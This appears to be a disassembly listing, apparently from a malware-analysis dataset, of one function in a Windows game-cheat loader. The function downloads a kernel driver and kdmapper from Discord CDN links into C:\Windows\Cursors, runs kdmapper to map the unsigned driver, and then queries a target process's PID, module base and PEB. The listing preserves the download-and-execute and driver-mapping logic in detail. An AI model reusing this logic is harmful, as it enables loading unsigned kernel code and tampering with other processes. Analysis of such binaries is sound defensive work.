Function at 0x1400499b0
Capabilities:
Download url
Execute command
Get common file path
Receive data

Disassembly:
push rbp
lea rbp, [rsp - 0x1b0]
sub rsp, 0x2b0
mov rax, qword [0x140083180]
xor rax, rsp
mov qword [rbp + 0x1a0], rax
xor edx, edx
lea rcx, [rbp + 0x90]
mov r8d, 0x104
call sub.VCRUNTIME140.dll_memset
xor edx, edx
lea rcx, [rbp - 0x80]
mov r8d, 0x104
call sub.VCRUNTIME140.dll_memset
mov edx, 0x104
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea r8, [rbp + 0x90]
lea rdx, str.C:WindowsCursorsAstra1.sys
lea rcx, [rbp - 0x80]
call fcn.140019160
xor r9d, r9d
mov qword [rsp + 0x20], 0
lea r8, [rbp - 0x80]
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_823808507362803723_1043329141715505234_modern_warfare_driver.sys
call sub.urlmon.dll_URLDownloadToFileA
lea r8, [rbp + 0x90]
lea rdx, str.C:WindowsCursorskdmapper.exe
lea rcx, [rbp - 0x80]
call fcn.140019160
xor r9d, r9d
mov qword [rsp + 0x20], 0
lea r8, [rbp - 0x80]
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_974134517205966898_989764532295569428_map.exe
call sub.urlmon.dll_URLDownloadToFileA
lea rcx, str.C:WindowsCursorskdmapper.exe_C:WindowsCursorsAstra1.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140052ae8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea r8, [0x140052aec]
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x140049ac7
mov r9d, 0x40040
lea r8, str.Information
lea rdx, str.Cheat_is_already_running__press_END_to_close_it
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xorps xmm0, xmm0
mov dword [rsp + 0x30], 0x646f6367
lea rax, [rsp + 0x31]
mov dword [rsp + 0x34], 0x6578652e
movups xmmword [rsp + 0x60], xmm0
xor r9d, r9d
mov byte [rsp + 0x60], 1
lea r8, [rsp + 0x78]
mov byte [rsp + 0x38], 0
xor edx, edx
mov qword [rsp + 0x70], rax
lea rcx, [0x140083b00]
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_InitOnceBeginInitialize]
test eax, eax
jne 0x140049b1f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3
cmp dword [rsp + 0x78], 0
je 0x140049b4d
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r8d, r8d
lea rcx, [0x140083b00]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_InitOnceComplete]
test eax, eax
je 0x140049e66
lea rcx, str.win32u.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.NtOpenCompositionSurfaceSectionInfo
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rsp + 0x40]
call rax
mov rax, qword [rsp + 0x58]
mov qword [0x140083600], rax
test rax, rax
jne 0x140049ba5
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._D1__Failed_to_get_PID_
call fcn.140044450
lea rdx, [0x140044b40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._D1__PID:
call fcn.140044450
mov rdx, qword [0x140083600]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
mov rcx, rax
lea rdx, [0x140044b40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor eax, eax
mov byte [0x1400837e4], 0
xorps xmm0, xmm0
mov qword [rsp + 0x70], rax
mov rax, qword [0x140083600]
lea r8, [rsp + 0x78]
movups xmmword [rsp + 0x60], xmm0
xor r9d, r9d
xor edx, edx
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x58], rax
lea rcx, [0x140083b00]
lea rax, [rsp + 0x31]
mov dword [rsp + 0x30], 0x646f631f
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x34], 0x6578652e
mov byte [rsp + 0x38], 0
movups xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x61], 1
call qword [sym.imp.KERNEL32.dll_InitOnceBeginInitialize]
test eax, eax
jne 0x140049c4a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3
cmp dword [rsp + 0x78], 0
je 0x140049c78
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r8d, r8d
lea rcx, [0x140083b00]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_InitOnceComplete]
test eax, eax
je 0x140049e6c
lea rcx, str.win32u.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.NtOpenCompositionSurfaceSectionInfo
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rsp + 0x40]
call rax
mov rax, qword [rsp + 0x40]
mov qword [0x140083608], rax
test rax, rax
jne 0x140049cd0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Failed_to_get_ModuleBase_
call fcn.140044450
lea rdx, [0x140044b40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._D1__ModBase:
call fcn.140044450
lea rdx, [0x140049980]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rdx, qword [0x140083608]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
lea rdx, [0x140049950]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rcx, rax
lea rdx, [0x140044b40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
lea r8, [rsp + 0x78]
xor eax, eax
lea rcx, [0x140083b00]
mov qword [rsp + 0x70], rax
xor r9d, r9d
mov rax, qword [0x140083600]
xor edx, edx
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x58], rax
movups xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x62], 1
movups xmmword [rsp + 0x40], xmm0
call qword [sym.imp.KERNEL32.dll_InitOnceBeginInitialize]
test eax, eax
jne 0x140049d6f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3
cmp dword [rsp + 0x78], 0
je 0x140049d9d
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r8d, r8d
lea rcx, [0x140083b00]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_InitOnceComplete]
test eax, eax
je 0x140049e60
lea rcx, str.win32u.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.NtOpenCompositionSurfaceSectionInfo
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rsp + 0x40]
call rax
mov rax, qword [rsp + 0x40]
mov qword [0x140083610], rax
test rax, rax
jne 0x140049df5
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Failed_to_get_PEB_
call fcn.140044450
lea rdx, [0x140044b40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._D1__PEB_ADDR:
call fcn.140044450
lea rdx, [0x140049980]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rdx, qword [0x140083610]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
lea rdx, [0x140049950]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rcx, rax
lea rdx, [0x140044b40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rbp + 0x1a0]
xor rcx, rsp
call fcn.14004ace0
add rsp, 0x2b0
pop rbp
ret
call fcn.14004bac0
int3
call fcn.14004bac0
int3
call fcn.14004bac0
int3